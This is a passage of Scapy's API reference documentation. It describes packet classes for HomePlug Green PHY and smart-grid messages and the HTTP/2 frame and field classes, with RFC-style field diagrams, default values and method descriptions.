+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            EVSEMAC                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             RUNID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              RSVD             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           NETWORKID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |    RESERVED   |              NMK              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. SLAC_varfield_cnf                      


SLAC_varfield_cnf fields






	EVID

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'



	EVMAC

	MACField

	'00:00:00:00:00:00'



	EVSEID

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'



	EVSEMAC

	MACField

	'00:00:00:00:00:00'



	RunID

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00'



	RSVD

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00'



	NetworkID

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00'



	Reserved

	ByteField

	0



	NMK

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'















	
class scapy.contrib.homepluggp.VS_ATTENUATION_CHARACTERISTICS_MME(_pkt, /, *, EVMACAddress='00:00:00:00:00:00', NumberOfGroups=None, NumberOfCarrierPerGroupe=0, Reserved=b'\x00\x00\x00\x00\x00\x00\x00', Groups=[''])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homepluggp.py#L71-L79]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          EVMACADDRESS                         |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               | NUMBEROFGROUPS|NUMBEROFCARRIER|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESERVED                           |
+                                               +-+-+-+-+-+-+-+-+
|                                               |     GROUPS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

             Fig. VS_ATTENUATION_CHARACTERISTICS_MME              


VS_ATTENUATION_CHARACTERISTICS_MME fields






	EVMACAddress

	MACField

	'00:00:00:00:00:00'



	NumberOfGroups

	FieldLenField

	None



	NumberOfCarrierPerGroupe

	ByteField

	0



	Reserved

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00'



	Groups

	PacketListField

	['']

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.homeplugsg


	
class scapy.contrib.homeplugsg.VS_UART_CMD_CNF(_pkt, /, *, reserved=b'\x00', UDataLen=None, UData=b'UartCommand\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugsg.py#L38-L43]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            RESERVED                           |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            UDATALEN           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             UDATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. VS_UART_CMD_CNF                       


VS_UART_CMD_CNF fields






	reserved

	StrFixedLenField

	b'\x00'



	UDataLen

	FieldLenField

	None



	UData

	StrLenField

	b'UartCommand\x00'















	
class scapy.contrib.homeplugsg.VS_UART_CMD_REQ(_pkt, /, *, UDataLen=None, UData=b'UartCommand\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/homeplugsg.py#L31-L35]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            UDATALEN           |             UDATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. VS_UART_CMD_REQ                       


VS_UART_CMD_REQ fields






	UDataLen

	FieldLenField

	None



	UData

	StrLenField

	b'UartCommand\x00'

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.http2

http2

HTTP/2 support for Scapy
see RFC7540 and RFC7541 for more information

Implements packets and fields required to encode/decode HTTP/2 Frames
and HPack encoded headers


	
class scapy.contrib.http2.AbstractUVarIntField(name: str, default: int | None, size: int)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L170-L483]

	Bases: Field

AbstractUVarIntField represents an integer as defined in RFC7541


	
addfield(pkt: Packet | None, s: str | Tuple[str, int, int], val: int) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L360-L395]

	
An AbstractUVarIntField prefix always consumes the remaining bits
of a BitField;if no current BitField is in use (no tuple in
entry) then the prefix length is 8 bits and the whole byte is to
be consumed





	Parameters:

	
	pkt (packet.Packet|None) – the packet containing this field.
Probably unused.


	s (str|(str, int, long)) – the string to append this field to.
A tuple indicates that some bits were already generated by another
bitfield-compatible field. This MUST be the case if “size” is not 8.
The int is the number of bits already generated in the first byte of
the str. The long is the value that was generated by the previous
bitfield-compatible fields.


	val (int) – the positive or null value to be added.






	Returns:

	str: s concatenated with the machine representation of this
field.



	Raises:

	AssertionError










	
any2i(pkt: Packet | None, x: None | str | int) → int | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L327-L349]

	
A “x” value as a string is parsed as a binary encoding of a UVarInt. An int is considered an internal value.  # noqa: E501
None is returned as is.





	Parameters:

	
	pkt (packet.Packet|None) – the packet containing this field; probably unused.  # noqa: E501


	x (str|int|None) – the value to convert.






	Returns:

	int|None: the converted value.



	Raises:

	AssertionError










	
getfield(pkt: Packet | None, s: str | Tuple[str, int]) → Tuple[str, int][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L445-L476]

	
	Parameters:

	
	pkt (packet.Packet|None) – the packet instance containing this
field; probably unused.


	s (str|(str, int)) – the input value to get this field value from.
If size is 8, s is a string, else it is a tuple containing the value
and an int indicating the number of bits already consumed in the
first byte of the str. The number of remaining bits to consume in the
first byte must be equal to “size”.






	Returns:

	(str, int): the remaining bytes of s and the parsed value.



	Raises:

	AssertionError










	
h2i(pkt: Packet | None, x: int | None) → int | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L206-L215]

	
	Parameters:

	
	pkt (packet.Packet|None) – unused.


	x (int|None) – the value to convert.






	Returns:

	int|None: the converted value.



	Raises:

	AssertionError










	
i2h(pkt: Packet | None, x: int | None) → int | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L217-L224]

	
	Parameters:

	
	pkt (packet.Packet|None) – unused.


	x (int|None) – the value to convert.






	Return::

	int|None: the converted value.










	
i2len(pkt: Packet | None, x: int) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L421-L443]

	
	Parameters:

	
	pkt (packet.Packet|None) – unused.


	x (int) – the positive or null value whose binary size if requested.  # noqa: E501






	Raises:

	AssertionError










	
i2m(pkt: Packet | None, x: int) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L304-L325]

	
	Parameters:

	
	pkt (packet.Packet|None) – unused.


	x (int) – the value to convert.






	Returns:

	str: the converted value.



	Raises:

	AssertionError










	
i2repr(pkt: Packet | None, x: int | None) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L351-L358]

	
	Parameters:

	
	pkt (packet.Packet|None) – probably unused.


	x – int|None: the positive, null or none value to convert.






	Returns:

	str: the representation of the value.










	
m2i(pkt: Packet | None, x: str | Tuple[str, int]) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L276-L302]

	
A tuple is expected for the “x” param only if “size” is different than 8. If a tuple is received, some bits  # noqa: E501
were consumed by another field. This field consumes the remaining bits, therefore the int of the tuple must  # noqa: E501
equal “size”.





	Parameters:

	
	pkt (packet.Packet|None) – unused.


	x (str|(str, int)) – the string to convert. If bits were consumed by a previous bitfield-compatible field.  # noqa: E501






	Raises:

	AssertionError










	
randval() → VolatileValue[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L478-L483]

	
	Returns:

	volatile.VolatileValue: a volatile value for this field “long”-compatible internal value.  # noqa: E501










	
rev

	




	
size

	








	
class scapy.contrib.http2.EOS[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L681-L683]

	Bases: object

Simple “marker” to designate the End Of String symbol in the huffman table






	
class scapy.contrib.http2.FieldUVarLenField(name: str, default: int | None, size: int, length_of: str, adjust: ~typing.Callable[[int], int] = <function FieldUVarLenField.<lambda>>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L555-L633]

	Bases: AbstractUVarIntField


	
addfield(pkt: Packet | None, s: str | Tuple[str, int, int], val: int | None) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L583-L600]

	
	Parameters:

	
	pkt (packet.Packet|None) – the packet instance containing this field instance. This parameter must not be  # noqa: E501
None if the val parameter is.


	s (str|(str, int, long)) – the string to append this field to. A tuple indicates that some bits were already  # noqa: E501
generated by another bitfield-compatible field. This MUST be the case if “size” is not 8. The int is the  # noqa: E501
number of bits already generated in the first byte of the str. The long is the value that was generated by the  # noqa: E501
previous bitfield-compatible fields.


	val (int|None) – the positive or null value to be added. If None, the value is computed from pkt.  # noqa: E501






	Returns:

	str: s concatenated with the machine representation of this field.  # noqa: E501



	Raises:

	AssertionError










	
i2m(pkt: Packet | None, x: int | None) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L602-L615]

	
	Parameters:

	
	pkt (packet.Packet|None) – the packet instance containing this field instance. This parameter must not be  # noqa: E501
None if the x parameter is.


	x (int|None) – the positive or null value to be added. If None, the value is computed from pkt.  # noqa: E501






	Returns:

	str



	Raises:

	AssertionError














	
class scapy.contrib.http2.H2AbstractHeadersFrame(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1494-L1497]

	Bases: H2FramePayload

Superclass of all variants of HTTP/2 Header Frame Packets.
May be used for type checking.


	
aliastypes

	








	
class scapy.contrib.http2.H2ContinuationFrame(_pkt, /, *, hdrs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1937-L1949]

	Bases: H2FramePayload

H2ContinuationFrame implements the RFC 7540 par6.10


	
END_HEADERS_FLAG = 2

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              HDRS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. H2ContinuationFrame                     


H2ContinuationFrame fields






	hdrs

	PacketListField

	[]











	
flags = {2: ('EH', 'End Headers')}

	




	
type_id = 9

	








	
class scapy.contrib.http2.H2DataFrame(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1426-L1441]

	Bases: H2FramePayload

H2DataFrame implements RFC7540 par6.1
This packet is the Data Frame to use when there is no padding.


	
END_STREAM_FLAG = 0

	




	
PADDED_FLAG = 3

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. H2DataFrame                         


H2DataFrame fields






	data

	StrField

	b''











	
flags = {0: ('ES', 'End Stream'), 3: ('P', 'Padded')}

	




	
type_id = 0

	








	
class scapy.contrib.http2.H2ErrorCodes[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1667-L1704]

	Bases: object

H2ErrorCodes is an enumeration of the error codes defined in
RFC7540 par7.
This enumeration is not part of any frame because the error codes are in
common with H2ResetFrame and H2GoAwayFrame.


	
CANCEL = 8

	




	
COMPRESSION_ERROR = 9

	




	
CONNECT_ERROR = 10

	




	
ENHANCE_YOUR_CALM = 11

	




	
FLOW_CONTROL_ERROR = 3

	




	
FRAME_SIZE_ERROR = 6

	




	
HTTP_1_1_REQUIRED = 13

	




	
INADEQUATE_SECURITY = 12

	




	
INTERNAL_ERROR = 2

	




	
NO_ERROR = 0

	




	
PROTOCOL_ERROR = 1

	




	
REFUSED_STREAM = 7

	




	
SETTINGS_TIMEOUT = 4

	




	
STREAM_CLOSED = 5

	




	
literal = {0: 'No error', 1: 'Protocol error', 2: 'Internal error', 3: 'Flow control error', 4: 'Settings timeout', 5: 'Stream closed', 6: 'Frame size error', 7: 'Refused stream', 8: 'Cancel', 9: 'Compression error', 10: 'Control error', 11: 'Enhance your calm', 12: 'Inadequate security', 13: 'HTTP/1.1 required'}

	








	
class scapy.contrib.http2.H2Frame(_pkt, /, *, len=None, type=None, flags={}, reserved=0, stream_id=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1968-L2073]

	Bases: Packet

H2Frame implements the frame structure as defined in RFC 7540 par4.1

This packet may have a payload (one of the H2FramePayload) or none, in some
rare cases such as settings acknowledgement)


	
aliastypes

	




	
extract_padding(s: str) → Tuple[str, str][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L2049-L2058]

	
	Parameters:

	s (str) – the string from which to tell the padding and the payload data apart  # noqa: E501



	Returns:

	(str, str): the padding and the payload data strings



	Raises:

	AssertionError










	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              LEN                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |     FLAGS     |R|          STREAM ID          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. H2Frame                           


H2Frame fields






	len

	X3BytesField

	None



	type

	EnumField

	None



	flags

	MultiFlagsField

	set()



	reserved

	BitField  (1 bit)

	0



	stream_id

	BitField  (31 bits)

	0











	
guess_payload_class(payload: str) → Packet_metaclass[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1992-L2047]

	guess_payload_class returns the Class object to use for parsing a payload
This function uses the H2Frame.type field value to decide which payload to parse. The implement cannot be  # noqa: E501
performed using the simple bind_layers helper because sometimes the selection of which Class object to return  # noqa: E501
also depends on the H2Frame.flags value.


	Parameters:

	payload – 



	Return::

	









	
payload_guess

	Possible sublayers:
H2ContinuationFrame, H2DataFrame, H2GoAwayFrame, H2HeadersFrame, H2PaddedDataFrame, H2PaddedHeadersFrame, H2PaddedPriorityHeadersFrame, H2PaddedPushPromiseFrame, H2PingFrame, H2PriorityFrame, H2PriorityHeadersFrame, H2PushPromiseFrame, H2ResetFrame, H2SettingsFrame, H2WindowUpdateFrame






	
post_build(p: str, pay: str) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L2060-L2073]

	
	Parameters:

	
	p (str) – the stringified packet


	pay (str) – the stringified payload






	Returns:

	str: the stringified packet and payload, with the packet length field “patched”  # noqa: E501



	Raises:

	AssertionError














	
class scapy.contrib.http2.H2FramePayload(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1418-L1421]

	Bases: Packet

H2FramePayload is an empty class that is a super class of all Scapy
HTTP/2 Frame Packets


	
aliastypes

	








	
class scapy.contrib.http2.H2GoAwayFrame(_pkt, /, *, reserved=0, last_stream_id=0, error=0, additional_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1894-L1905]

	Bases: H2FramePayload

H2GoAwayFrame implements the RFC 7540 par6.8


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|R|                        LAST STREAM ID                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             ERROR                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        ADDITIONAL DATA        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. H2GoAwayFrame                        


H2GoAwayFrame fields






	reserved

	BitField  (1 bit)

	0



	last_stream_id

	BitField  (31 bits)

	0



	error

	EnumField

	0



	additional_data

	StrField

	b''











	
type_id = 7

	








	
class scapy.contrib.http2.H2HeadersFrame(_pkt, /, *, hdrs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1500-L1522]

	Bases: H2AbstractHeadersFrame

H2HeadersFrame implements RFC 7540 par6.2 Headers Frame
when there is no padding and no priority information

The choice of decomposing into four classes is probably preferable to having  # noqa: E501
numerous conditional fields based on the underlayer :/


	
END_HEADERS_FLAG = 2

	




	
END_STREAM_FLAG = 0

	




	
PADDED_FLAG = 3

	




	
PRIORITY_FLAG = 5

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              HDRS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. H2HeadersFrame                        


H2HeadersFrame fields






	hdrs

	PacketListField

	[]











	
flags = {0: ('ES', 'End Stream'), 2: ('EH', 'End Headers'), 3: ('P', 'Padded'), 5: ('+', 'Priority')}

	




	
type_id = 1

	








	
class scapy.contrib.http2.H2PaddedDataFrame(_pkt, /, *, padlen=None, data=b'', padding=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1444-L1489]

	Bases: H2DataFrame

H2DataFrame implements RFC7540 par6.1
This packet is the Data Frame to use when there is padding.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     PADLEN    |              DATA             |    PADDING    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                      Fig. H2PaddedDataFrame                      


H2PaddedDataFrame fields






	padlen

	FieldLenField

	None



	data

	StrLenField

	b''



	padding

	StrLenField

	b''











	
get_data_len() → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1461-L1477]

	get_data_len computes the length of the data field

To do this computation, the length of the padlen field and the actual
padding is subtracted to the string that was provided to the pre_dissect  # noqa: E501
fun of the pkt parameter
:return: int; length of the data part of the HTTP/2 frame packet provided as parameter  # noqa: E501
:raises: AssertionError






	
pre_dissect(s: str) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1479-L1489]

	pre_dissect is filling the s_len property of this instance. This
property is later used during the getfield call of the “data” field when  # noqa: E501
trying to evaluate the length of the StrLenField! This “trick” works
because the underlayer packet (H2Frame) is assumed to override the
“extract_padding” method and to only provide to this packet the data
necessary for this packet. Tricky, tricky, will break some day probably!  # noqa: E501






	
s_len

	








	
class scapy.contrib.http2.H2PaddedHeadersFrame(_pkt, /, *, padlen=None, hdrs=[], padding=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1525-L1570]

	Bases: H2AbstractHeadersFrame

H2PaddedHeadersFrame is the variant of H2HeadersFrame where padding flag
is set and priority flag is cleared


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     PADLEN    |              HDRS             |    PADDING    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                    Fig. H2PaddedHeadersFrame                     


H2PaddedHeadersFrame fields






	padlen

	FieldLenField

	None



	hdrs

	PacketListField

	[]



	padding

	StrLenField

	b''











	
get_hdrs_len() → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1542-L1558]

	get_hdrs_len computes the length of the hdrs field

To do this computation, the length of the padlen field and the actual
padding is subtracted to the string that was provided to the pre_dissect  # noqa: E501
fun of the pkt parameter.
:return: int; length of the data part of the HTTP/2 frame packet provided as parameter  # noqa: E501
:raises: AssertionError






	
pre_dissect(s: str) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1560-L1570]

	pre_dissect is filling the s_len property of this instance. This
property is later used during the parsing of the hdrs PacketListField
when trying to evaluate the length of the PacketListField! This “trick”
works because the underlayer packet (H2Frame) is assumed to override the  # noqa: E501
“extract_padding” method and to only provide to this packet the data
necessary for this packet. Tricky, tricky, will break some day probably!  # noqa: E501






	
s_len

	








	
class scapy.contrib.http2.H2PaddedPriorityHeadersFrame(_pkt, /, *, padlen=None, exclusive=0, stream_dependency=0, weight=0, hdrs=[], padding=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1591-L1648]

	Bases: H2AbstractHeadersFrame

H2PaddedPriorityHeadersFrame is the variant of H2HeadersFrame where
both priority and padding flags are set


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     PADLEN    |E|              STREAM DEPENDENCY              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |     WEIGHT    |              HDRS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PADDING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. H2PaddedPriorityHeadersFrame                 


H2PaddedPriorityHeadersFrame fields






	padlen

	FieldLenField

	None



	exclusive

	BitField  (1 bit)

	0



	stream_dependency

	BitField  (31 bits)

	0



	weight

	ByteField

	0



	hdrs

	PacketListField

	[]



	padding

	StrLenField

	b''











	
get_hdrs_len() → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1611-L1636]

	get_hdrs_len computes the length of the hdrs field

To do this computation, the length of the padlen field, the priority
information fields and the actual padding is subtracted to the string
that was provided to the pre_dissect fun of the pkt parameter.
:return: int: the length of the hdrs field
:raises: AssertionError






	
pre_dissect(s: str) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1638-L1648]

	pre_dissect is filling the s_len property of this instance. This
property is later used during the parsing of the hdrs PacketListField
when trying to evaluate the length of the PacketListField! This “trick”
works because the underlayer packet (H2Frame) is assumed to override the  # noqa: E501
“extract_padding” method and to only provide to this packet the data
necessary for this packet. Tricky, tricky, will break some day probably!  # noqa: E501






	
s_len

	








	
class scapy.contrib.http2.H2PaddedPushPromiseFrame(_pkt, /, *, padlen=None, reserved=0, stream_id=0, hdrs=[], padding=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1807-L1859]

	Bases: H2PushPromiseFrame

H2PaddedPushPromiseFrame implements RFC7540 par6.6. This
packet is the variant to use when the underlayer padding flag is set


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     PADLEN    |R|                  STREAM ID                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              HDRS             |    PADDING    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                  Fig. H2PaddedPushPromiseFrame                   


H2PaddedPushPromiseFrame fields






	padlen

	FieldLenField

	None



	reserved

	BitField  (1 bit)

	0



	stream_id

	BitField  (31 bits)

	0



	hdrs

	PacketListField

	[]



	padding

	StrLenField

	b''











	
get_hdrs_len() → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1826-L1847]

	get_hdrs_len computes the length of the hdrs field

To do this computation, the length of the padlen field, reserved,
stream_id and the actual padding is subtracted to the string that was
provided to the pre_dissect fun of the pkt parameter.
:return: int: the length of the hdrs field
:raises: AssertionError






	
pre_dissect(s: str) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1849-L1859]

	pre_dissect is filling the s_len property of this instance. This
property is later used during the parsing of the hdrs PacketListField
when trying to evaluate the length of the PacketListField! This “trick”
works because the underlayer packet (H2Frame) is assumed to override the  # noqa: E501
“extract_padding” method and to only provide to this packet the data
necessary for this packet. Tricky, tricky, will break some day probably!  # noqa: E501






	
s_len

	








	
class scapy.contrib.http2.H2PingFrame(_pkt, /, *, opaque=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1864-L1889]

	Bases: H2FramePayload

H2PingFrame implements the RFC 7540 par6.7


	
ACK_FLAG = 0

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             OPAQUE                            |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. H2PingFrame                         


H2PingFrame fields






	opaque

	LongField

	0











	
flags = {0: ('A', 'ACK')}

	




	
type_id = 6

	








	
class scapy.contrib.http2.H2PriorityFrame(_pkt, /, *, exclusive=0, stream_dependency=0, weight=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/http2.py#L1653-L1662]

	Bases: H2FramePayload

H2PriorityFrame implements RFC 7540 par6.3


	
